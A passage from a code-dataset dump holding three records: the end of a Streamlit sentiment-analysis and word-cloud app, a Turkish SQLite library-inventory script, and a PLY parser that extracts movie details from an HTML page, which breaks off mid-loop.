\"Scatter\"\n            fig = px.scatter(df, x=\"Polarity\", y=\"Subjectivity\", color=\"Sentiment\", width=750, height=700, opacity=0.7, color_discrete_sequence=[\"#FCE6C9\",\"#00BFFF\",\"#CD2626\"])    \n            fig.update_traces(marker=dict(size=20, line=dict(width=2,color='DarkSlateGrey')), selector=dict(mode='markers'))\n            st.plotly_chart(fig)\n    \n            fig = px.histogram(df, x=\"Subjectivity\")\n            st.plotly_chart(fig)\n        \n            fig = px.histogram(df, x=\"Polarity\")\n            st.plotly_chart(fig)       \n        \n \n        with col2:\n            col2.header = \"Subjectivity\"\n            fig = px.pie(df, values='Subjectivity', names='Sentiment', color_discrete_sequence=[\"#00BFFF\", \"#CD2626\", \"#FCE6C9\"])\n            st.plotly_chart(fig) \n        \n            from wordcloud import WordCloud \n            from matplotlib import colors\n            from nltk.corpus import stopwords\n            color_list=['#4d4d4d','#ffcc00','#000000',]\n            colormap=colors.ListedColormap(color_list)\n            import matplotlib.pyplot as plt\n            st.set_option('deprecation.showPyplotGlobalUse', False)\n\n            words = ' '.join([Text for Text in df[df['Sentiment']=='Negative']['Cleaned_Text']])\n            wordCloud = WordCloud(background_color='black', colormap='Reds', min_font_size=4, max_font_size=200, width=3000, height=1000).generate(words)\n            plt.figure(figsize=(50, 50))\n            plt.imshow(wordCloud, interpolation='bilinear')\n            plt.axis(\"off\")\n            st.pyplot() \n            st.set_option('deprecation.showPyplotGlobalUse', False)\n        \n\n\n            words = ' '.join([Text for Text in df[df['Sentiment']=='Positive']['Cleaned_Text']])\n            wordCloud = WordCloud(background_color='black', colormap='Blues', min_font_size=4, max_font_size=200, width=3000, height=1000).generate(words)\n            plt.figure(figsize=(50, 50))\n            plt.imshow(wordCloud, interpolation='bilinear')\n            plt.axis(\"off\")\n            st.pyplot()\n            st.set_option('deprecation.showPyplotGlobalUse', False)\n        \n            from wordcloud import WordCloud \n            from matplotlib import colors\n            from nltk.corpus import stopwords\n            color_list=['#4d4d4d','#ffcc00','#000000',]\n            colormap=colors.ListedColormap(color_list)\n            import matplotlib.pyplot as plt\n\n            words = ' '.join([Text for Text in df[df['Sentiment']=='Neutral']['Cleaned_Text']])\n            wordCloud = WordCloud(background_color='black', colormap='YlOrBr', min_font_size=4, max_font_size=200, width=3000, height=1000).generate(words)\n            plt.figure(figsize=(50, 50))\n            plt.imshow(wordCloud, interpolation='bilinear')\n            plt.axis(\"off\")\n            st.pyplot()\n            st.set_option('deprecation.showPyplotGlobalUse', False)\n            \n            senti = df['Sentiment'].value_counts()\n            st.write(senti)\n        \n            color = ['bisque','deepskyblue','firebrick']\n        \n            fig = plt.figure(figsize=(10, 4))\n            sns.set_style(\"darkgrid\")\n            sns.countplot(x = 'Sentiment', data=df, palette=color)\n            st.pyplot(fig)\n            \n                    #####################################################################\n\n    \n    \ndef page9():\n    st.markdown(\"# Counter 🎉\")\n    st.sidebar.markdown(\"# Count instances 🎉\")       \n    \n    text_file = st.file_uploader(\"Upload CSV File\",type=['csv'])\n\n    if text_file is not None:\n              \n        col1, col2 = st.columns(2)\n    \n        with col1:\n            df= pd.read_csv(text_file)\n            st.write(df)\n        \n        with col2:\n            df[\"Count\"] = df['Text']\n            new_df = df.Count.value_counts()\n            st.write(new_df) \n\npage_names_to_funcs = {\n    \"Main Page\": main_page,\n    \"Filter\": page2,\n    \"Merge\": page3,\n    \"EDA\": page4,\n    \"Rename\": page5,\n    \"Cleaner\": page6,\n    \"Word Frequency\": page7,\n    \"Sentiment Analyzer\": page8,\n    \"Counter\": page9\n}\n\nselected_page = st.sidebar.selectbox(\"Choose Here\", page_names_to_funcs.keys())\npage_names_to_funcs[selected_page]()\n", "repo_name": "grey010311/Oesta.py", "sub_path": "grey.py", "file_name": "grey.py", "file_ext": "py", "file_size_in_byte": 15148, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "spacy.load", "line_number": 14, "usage_type": "call"}, {"api_name": "autocorrect.Speller", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 30, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 40, "usage_type": "attribute"}, {"api_name": "streamlit.markdown", "line_number": 43, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 44, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 44, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 49, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 75, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 80, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 81, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 85, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 86, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 87, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 92, "usage_type": "call"}, {"api_name": "streamlit.sidebar.header", "line_number": 99, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 99, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.file_uploader", "line_number": 100, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 100, "usage_type": "attribute"}, {"api_name": "base64.b64encode", "line_number": 106, "usage_type": "call"}, {"api_name": "streamlit.sidebar.button", "line_number": 112, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 112, "usage_type": "attribute"}, {"api_name": "streamlit.header", "line_number": 115, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 116, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 117, "usage_type": "call"}, {"api_name": "streamlit.info", "line_number": 119, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 124, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 125, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 125, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.header", "line_number": 128, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 128, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.file_uploader", "line_number": 129, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 129, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 130, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 130, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 138, "usage_type": "call"}, {"api_name": "streamlit.cache", "line_number": 136, "usage_type": "attribute"}, {"api_name": "pandas_profiling.ProfileReport", "line_number": 141, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 142, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 143, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 144, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 145, "usage_type": "call"}, {"api_name": "streamlit_pandas_profiling.st_profile_report", "line_number": 146, "usage_type": "call"}, {"api_name": "streamlit.info", "line_number": 148, "usage_type": "call"}, {"api_name": "pandas_profiling.ProfileReport", "line_number": 153, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 154, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 155, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 156, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 157, "usage_type": "call"}, {"api_name": "streamlit_pandas_profiling.st_profile_report", "line_number": 158, "usage_type": "call"}, {"api_name": "streamlit.cache", "line_number": 150, "usage_type": "attribute"}, {"api_name": "streamlit.markdown", "line_number": 163, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 164, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 164, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 166, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 168, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 169, "usage_type": "call"}, {"api_name": "streamlit.form", "line_number": 171, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 172, "usage_type": "call"}, {"api_name": "streamlit.text_input", "line_number": 173, "usage_type": "call"}, {"api_name": "streamlit.form_submit_button", "line_number": 174, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 179, "usage_type": "call"}, {"api_name": "streamlit.download_button", "line_number": 182, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 187, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 188, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 188, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 192, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 195, "usage_type": "call"}, {"api_name": "neattext.remove_punctuations", "line_number": 202, "usage_type": "attribute"}, {"api_name": "neattext.remove_numbers", "line_number": 203, "usage_type": "attribute"}, {"api_name": "neattext.remove_special_characters", "line_number": 204, "usage_type": "attribute"}, {"api_name": "neattext.remove_dates", "line_number": 205, "usage_type": "attribute"}, {"api_name": "neattext.remove_emojis", "line_number": 206, "usage_type": "attribute"}, {"api_name": "neattext.remove_stopwords", "line_number": 207, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 209, "usage_type": "call"}, {"api_name": "streamlit.download_button", "line_number": 213, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 223, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 224, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 224, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 227, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 229, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 233, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 237, "usage_type": "call"}, {"api_name": "streamlit.download_button", "line_number": 245, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 249, "usage_type": "call"}, {"api_name": "plotly.express.bar", "line_number": 253, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 253, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 261, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 273, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 278, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 278, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 278, "usage_type": "name"}, {"api_name": "textblob.Word", "line_number": 279, "usage_type": "name"}, {"api_name": "wordcloud.WordCloud", "line_number": 280, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 281, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 281, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 282, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 282, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 283, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 283, "usage_type": "name"}, {"api_name": "streamlit.pyplot", "line_number": 284, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 290, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 291, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 291, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 296, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 299, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 302, "usage_type": "call"}, {"api_name": "textblob.TextBlob", "line_number": 303, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 315, "usage_type": "call"}, {"api_name": "streamlit.download_button", "line_number": 316, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 318, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 322, "usage_type": "attribute"}, {"api_name": "plotly.express.scatter", "line_number": 323, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 323, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 325, "usage_type": "call"}, {"api_name": "plotly.express.histogram", "line_number": 327, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 327, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 328, "usage_type": "call"}, {"api_name": "plotly.express.histogram", "line_number": 330, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 330, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 331, "usage_type": "call"}, {"api_name": "plotly.express.pie", "line_number": 336, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 336, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 337, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 343, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 343, "usage_type": "name"}, {"api_name": "streamlit.set_option", "line_number": 345, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 348, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 349, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 349, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 350, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 350, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 351, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 351, "usage_type": "name"}, {"api_name": "streamlit.pyplot", "line_number": 352, "usage_type": "call"}, {"api_name": "streamlit.set_option", "line_number": 353, "usage_type": "call"}, {"api_name": "wordcloud.WordCloud", "line_number": 358, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 359, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 359, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 360, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 361, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 361, "usage_type": "name"}, {"api_name": "streamlit.pyplot", "line_number": 362, "usage_type": "call"}, {"api_name": "streamlit.set_option", "line_number": 363, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 369, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 369, "usage_type": "name"}, {"api_name": "wordcloud.WordCloud", "line_number": 373, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 374, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 374, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 375, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 375, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 376, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 376, "usage_type": "name"}, {"api_name": "streamlit.pyplot", "line_number": 377, "usage_type": "call"}, {"api_name": "streamlit.set_option", "line_number": 378, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 381, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 385, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 385, "usage_type": "name"}, {"api_name": "seaborn.set_style", "line_number": 386, "usage_type": "call"}, {"api_name": "seaborn.countplot", "line_number": 387, "usage_type": "call"}, {"api_name": "streamlit.pyplot", "line_number": 388, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 395, "usage_type": "call"}, {"api_name": "streamlit.sidebar.markdown", "line_number": 396, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 396, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 398, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 402, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 405, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 406, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 411, "usage_type": "call"}, {"api_name": "streamlit.sidebar.selectbox", "line_number": 425, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 425, "usage_type": "attribute"}]}
{"seq_id": "73144278011", "text": "import sqlite3\n\ntry:\n\n    # Veritabanı açma\n    conn = sqlite3.connect('library.db')\n \n    # Tablo oluşturma\n    conn.execute('''CREATE TABLE `yazar` (\n        `yazarNo`  INTEGER,\n        `ad`   TEXT,\n        PRIMARY KEY(`yazarNo`)\n            )''')\n \n    conn.execute('''CREATE TABLE `kitap` (\n        `kitapNo`  INTEGER,\n        `ad`   TEXT,\n        `miktar`  TEXT,\n        `yazar` INTEGER,\n        PRIMARY KEY(`kitapNo`)\n            )''')\n \n\n        \n    # Veritabanına yazma\n    conn.commit()\n \n    # Veritabanını kapatma\n    conn.close()\n\n    print(\"DB Olusturuldu\")\n        \nexcept Exception as e:\n    print(f\"DB Olusturulmadı, Hata: {e}\")\n\n#yazar girişlerinin yapılması için fonksiyon\ndef yazarGiris():\n    yazar_ad=input(\"Yazar adı girin: \")\n    # bağlantıyı aç\n    with sqlite3.connect(\"library.db\") as conn:\n        cur=conn.cursor()\n        try:\n            #kayıt et\n            cur.execute('''INSERT INTO yazar (ad) VALUES(?)''',[yazar_ad])\n            conn.commit()\n            print(\"Yazar eklendi.\")\n        except Exception as e:\n            print(e)\n\ndef kitapGiris():\n    kitap_ad=input(\"Kitap adı girin: \")\n    stok_adedi=input(\"Stok adedi girin: \")\n    with sqlite3.connect(\"library.db\") as conn:\n        cur=conn.cursor()\n        try:\n            #yazar tablosundan yazarları alır\n            cur.execute('''SELECT * FROM yazar ''')\n            data=cur.fetchall()\n        except Exception as e:\n            print(e)\n    print(\"yazar seçinmi yapın: \")\n    #yazar seçimi için yazarları listeler\n    for i in range(len(data)):\n        print(f\"{data[i][0]}:{data[i][1]}\")\n    yazarno=int(input())\n\n    with sqlite3.connect(\"library.db\") as conn:\n        cur=conn.cursor()\n        try:\n            #kitap eklemek için sql\n            cur.execute('''INSERT INTO kitap (ad,miktar,yazar) VALUES(?,?,?)''',[kitap_ad,stok_adedi,yazarno])\n            conn.commit()\n            print(\"Kitap eklendi.\")\n        except Exception as e:\n            print(e)\n\ndef arama():\n    aranacak = input(\"Aramak Istenilen: \").lower()\n\n    with sqlite3.connect(\"library.db\") as conn:\n        cur = conn.cursor()\n        try:\n            #aranacak kitap veya yazarı arar\n            cur.execute(\"\"\"select k.kitapNo, k.ad, y.ad, k.miktar from yazar y, kitap k where y.yazarNo == k.yazar\"\"\")\n            data_all=cur.fetchall()\n        except Exception as e:\n            print(e)\n\n    print('{:^20} {:^20} {:^20} {:^20}'.format(\"No\",\"Kitap Adı\",\"Yazarı\",\"Stok\"))\n    print('{:^20} {:^20} {:^20} {:^20}'.format(\"---------\",\"---------\",\"---------\",\"---------\"))\n\n    for i in range(len(data_all)):\n        if aranacak in data_all[i][1].lower() or aranacak in data_all[i][2].lower():\n            print('{:^20} {:^20} {:^20} {:^20}'.format(data_all[i][0],data_all[i][1],data_all[i][2],data_all[i][3]))\n\ndef satis():\n    print('{:^20} {:^20} {:^20} {:^20}'.format(\"No\",\"Kitap Adı\",\"Yazarı\",\"Stok\"))\n    print('{:^20} {:^20} {:^20} {:^20}'.format(\"---------\",\"---------\",\"---------\",\"---------\"))\n\n    with sqlite3.connect(\"library.db\") as conn:\n        cur = conn.cursor()\n        try:\n            #kitapları çeker ve listeleme yapar\n            cur.execute(\"\"\"SELECT * FROM kitap ORDER BY ad ASC\"\"\")\n            data_k=cur.fetchall()\n            #yazarları çeker    \n            cur.execute(\"\"\"SELECT * FROM yazar\"\"\")\n            data_y=cur.fetchall()\n        except Exception as e:\n            print(e)\n    #ekrana listeleme yapar\n    for i in range(len(data_k)):\n        for j in range(len(data_y)):\n            if str(data_y[j][0]) == str(data_k[i][3]):\n                print('{:^20} {:^20} {:^20} {:^20}'.format(data_k[i][0],data_k[i][1],data_y[j][1],data_k[i][2]))\n        \n    numara = input(\"Satılacak kitabın numarası: \")\n    with sqlite3.connect(\"library.db\") as conn:\n        cur = conn.cursor()\n        try:\n            #kitapları çeker ve listeler\n            cur.execute(\"\"\"SELECT kitapNo,miktar FROM kitap\"\"\")\n            kitaplar = cur.fetchall()\n        except Exception as e:\n            print(e)\n\n    for i in range(len(kitaplar)):\n        #eğer seçilen kitabın numarası i ye eşitse\n        if int(numara) == int(kitaplar[i][0]):\n            if int(kitaplar[i][1]) != 0:\n                with sqlite3.connect(\"library.db\") as conn:\n                    cur = conn.cursor()\n                    try:\n                        #kitabı stoktan 1 azalt\n                        cur.execute(\"\"\"UPDATE kitap SET miktar = miktar-1 WHERE kitapNo = ?\"\"\", numara)\n                        conn.commit()\n                    except Exception as e:\n                        print(e)\n\n# switch case yapısı için dictionary kalıbı\ndef indirect(i):\n    switcher={\n            \"y\":yazarGiris,\n            \"k\":kitapGiris,\n            \"a\":arama,\n            \"s\":satis\n            }\n    return switcher[i]()\n\nwhile 1:\n    print(\"\\n\")\n    deger = input('{:^20} {:^20} {:^20} {:^20}'.format(\"[Y]azar Girişi\",\"[K]itap Girişi\",\"[A]rama\",\"[S]atış\")).lower()\n    indirect(deger)", "repo_name": "ccancankaya/Python", "sub_path": "KutuphaneOtomasyonu.py", "file_name": "KutuphaneOtomasyonu.py", "file_ext": "py", "file_size_in_byte": 5004, "program_lang": "python", "lang": "tr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sqlite3.connect", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 53, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 67, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 80, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 100, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 118, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 131, "usage_type": "call"}]}
{"seq_id": "36182818205", "text": "\"\"\" \n    Name : Pratibha Singh (pratibhasingh@kgpian.iitkgp.ac.in)\n    Roll No : 20CS60R12\n\n    File name : task1.py\n    Date : Mar 25, 2021\n    Problem Statement : Creating grammer and parsing the files and saving the result in logfile.txt\n\"\"\"\n\n#importing required modules\nimport ply.lex as lex\nimport ply.yacc as yacc\nimport sys\nimport unicodedata\nimport task1\nimport re\n\n# creating dictionary class\nclass my_dictionary(dict):\n\n    def __init__(self):\n        self = dict()\n\n    # function to add key value pair\n    def add(self, key, value):\n        self[key] = value\n    \n    \n# creating a dictionary\nresult = my_dictionary()\n\nfield_list = ['Movie_Name', 'Director', 'Writer', 'Producer', 'Original Language', 'Cast with the Character name', 'Storyline', 'Box office collection', 'Runtime']\n#list to store all cast and crew names\ncast_char_name = []\ndir_name = []\n\n# initialzing all key value of dictonary as ''(empty string)\nfor i in field_list:\n    result.add(i, '')\n\n#print(result)\n\n\n# token list used\ntokens = [\n    'MOVIE_S', 'MOVIE_E',\n    'DIRECTOR', 'DIR_CLOSE',\n    'WHITE_SPACE',\n    'NAME',\n    'WRITER', 'CLOSE',\n    'ESTART',\n    'PRODUCER',\n    'LANG',\n    'STORY',\n    'BOXOFFICE',\n    'RUNTIME', 'REND',\n    'RNAME', 'CEND', 'MID'\n]\n\n# Regular expression for each tokens\ndef t_MOVIE_S(t):\n    r'<meta\\sproperty=\\\"og:title\\\"\\scontent=\\\"'\n    return t\n\ndef t_MOVIE_E(t):\n    r'\\\">'\n    return t\n\ndef t_DIRECTOR(t):\n    r'\\\"movie-info-director\\\">'\n    return t\n\ndef t_ESTART(t):\n    r'\\s*<a\\shref=\\\"[\\/a-zA-Z_0-9-:]+\\\">'\n    return t\n\ndef t_DIR_CLOSE(t):\n    r'<\\/a>\\s*,*'\n    return t\n\ndef t_WRITER(t):\n    r'Writer:<\\/div>\\s*.*\\\">\\s*'\n    return t\n\ndef t_PRODUCER(t):\n    r'Producer:<\\/div>\\s*.*\\\">\\s*'\n    return t\n\ndef t_LANG(t):\n    r'Original\\sLanguage:<\\/div>\\s*.*\\\">'\n    return t\n\ndef t_STORY(t):\n    r'data-qa=\\\"movie-info-synopsis\\\">\\s*'\n    return t\n\ndef t_BOXOFFICE(t):\n    r'Box\\sOffice\\s\\(Gross\\sUSA\\):<\\/div>\\s*.*\\\">'\n    return t\n\ndef t_RUNTIME(t):\n    r'<time\\sdatetime=\\\"P.*M\\\">\\s*'\n    return t\n\ndef t_REND(t):\n    r'\\s*<\\/time>'\n    return t\n\ndef t_RNAME(t):\n    r'span\\stitle=\\\"[\\u00C0-\\u00CF\\u00D0-\\u00DF\\u00E0-\\u00EF\\u00F0-\\u00FFa-zA-z0-9\\s\\-_&#;\\'.]+\\\">\\s*'\n    return t\n\ndef t_MID(t):\n    r'\\s*<\\/span>\\s*.*\\s*<span\\sclass=\\\"characters\\ssubtle\\ssmaller\\\"\\stitle=\\\"[\\u00C0-\\u00CF\\u00D0-\\u00DF\\u00E0-\\u00EF\\u00F0-\\u00FFa-zA-Z0-9&#;\\s\\-_&\\'.]+\\\">\\s*<br\\/>\\s*'\n    return t\n\ndef t_CEND(t):\n    r'\\s*<(br\\/|\\/span)>'\n    return t\n\ndef t_CLOSE(t):\n    r'\\s*<\\/div>'\n    return t\n\ndef t_NAME(t):\n    #r'[a-zA-Z]+'\n    r'[\\u00C0-\\u00CF\\u00D0-\\u00DF\\u00E0-\\u00EF\\u00F0-\\u00FFa-zA-z0-9,.\\(\\)$\\-&!?:_\\';#]+'\n    return t\n\n\nt_WHITE_SPACE = r'[\\ \\t]+'\n\ndef t_error(t):\n    #print(\"Illegal Characters\")\n    t.lexer.skip(1)\n\n# Parser Rules\ndef p_start(var):\n    '''\n    start : movie_name\n          | dir_name\n          | writer_name\n          | producer_name\n          | language\n          | cast\n          | cast_only_name\n          | storyline\n          | boxoffice\n          | runtime\n    '''\n\n# Extracting movie name\ndef p_movie_name(var):\n    'movie_name : MOVIE_S name MOVIE_E'\n    result.add('Movie_Name', var[2])\n\n# Extracting director names\ndef p_dir_name(var):\n    'dir_name : DIRECTOR name DIR_CLOSE'\n    res = var[2]\n    dir_name.insert(len(dir_name), res)\n\n# Extracting Writer names\ndef p_writer_name(var):\n    'writer_name : WRITER expression CLOSE'\n    result.add('Writer', var[2])\n\n# Extracting producer names\ndef p_producer_name(var):\n    'producer_name : PRODUCER expression CLOSE'\n    result.add('Producer', var[2])\n\n# Extracting language\ndef p_language(var):\n    'language : LANG name CLOSE'\n    result.add('Original Language', var[2])\n\n# Extracting Cast and Crew names\ndef p_cast(var):\n    'cast : RNAME name MID name CEND'\n    res = var[2] + ' as ' + var[4]\n    cast_char_name.insert(len(cast_char_name), res)\n\ndef p_cast_only_name(var):\n    'cast_only_name : RNAME name MID CEND'\n    res = var[2] \n    cast_char_name.insert(len(cast_char_name), res)\n\n# Extracting storyline\ndef p_storyline(var):\n    'storyline : STORY name CLOSE'\n    result.add('Storyline', var[2])\n\n# Extracting boxoffice \ndef p_boxoffice(var):\n    'boxoffice : BOXOFFICE name CLOSE'\n    result.add('Box office collection', var[2])\n\n# Extracting runtime\ndef p_runtime(var):\n    'runtime : RUNTIME name REND'\n    result.add('Runtime', var[2])\n\n# Recurssive way of extraction\ndef p_expression_multi(var):\n    'expression : expression expression'\n    var[0] = var[1] + ',' + var[2]\n\ndef p_expression_single(var):\n    'expression : expression'\n    var[0] = var[1]\n\ndef p_expression(var):\n    'expression : ESTART name DIR_CLOSE'\n    var[0] = var[2]\n\n# Extracting names using recurssive method\ndef p_name_one(var):\n    'name : NAME'\n    var[0] = var[1]\n\ndef p_name_mid(var):\n    'name : NAME name'\n    var[0] = var[1] + ' ' + var[2]\n\ndef p_name_multi(var):\n    'name : NAME wspaces name'\n    var[0] = var[1] + var[2] + var[3]\n\n\ndef p_wspaces(var):\n    '''\n    wspaces : WHITE_SPACE\n            | WHITE_SPACE wspaces\n    '''\n    var[0] = ' '\n\ndef p_error(var):\n    pass\n\n\n# building lexer and parser\nlexer = lex.lex()\nparser = yacc.yacc()\n\n# opening the html file of movie from task1\nf = open(task1.filename)\ntxt = f.read()\n\nlex.input(txt)\n\n#for tok in iter(lex.token, None):\n#    print(repr(tok.type), repr(tok.value))\n\nparser.parse(txt)\n\nresult.add('Director', dir_name )\nresult.add('Cast with the Character name', cast_char_name)\n\nprint('\\t\\tExtract Following Fields:')\nprint('1. Movie Name')\nprint('2. Director')\nprint('3. Writers')\nprint('4. Producer')\nprint('5. Original Language')\nprint('6. Cast with the character name')\nprint('7. Storyline')\nprint('8. Box Office Collection')\nprint('9. Runtime')\n\n# opening file in append mode to write all the query fields \nfile_name = open('logfile.txt', 'a')\n\n\nwhile(True):\n    val = input('\\nEnter Any one of the fields(Enter digit) or press \\'E\\' to exit:   ')\n\n    if val == '1' or val == '3' or val == '4' or val == '5' or val == '8' or val == '9':\n        